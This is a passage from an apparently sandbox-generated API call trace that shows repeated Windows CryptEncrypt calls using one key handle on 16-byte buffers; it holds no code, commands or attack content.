pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.956] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.957] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.958] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 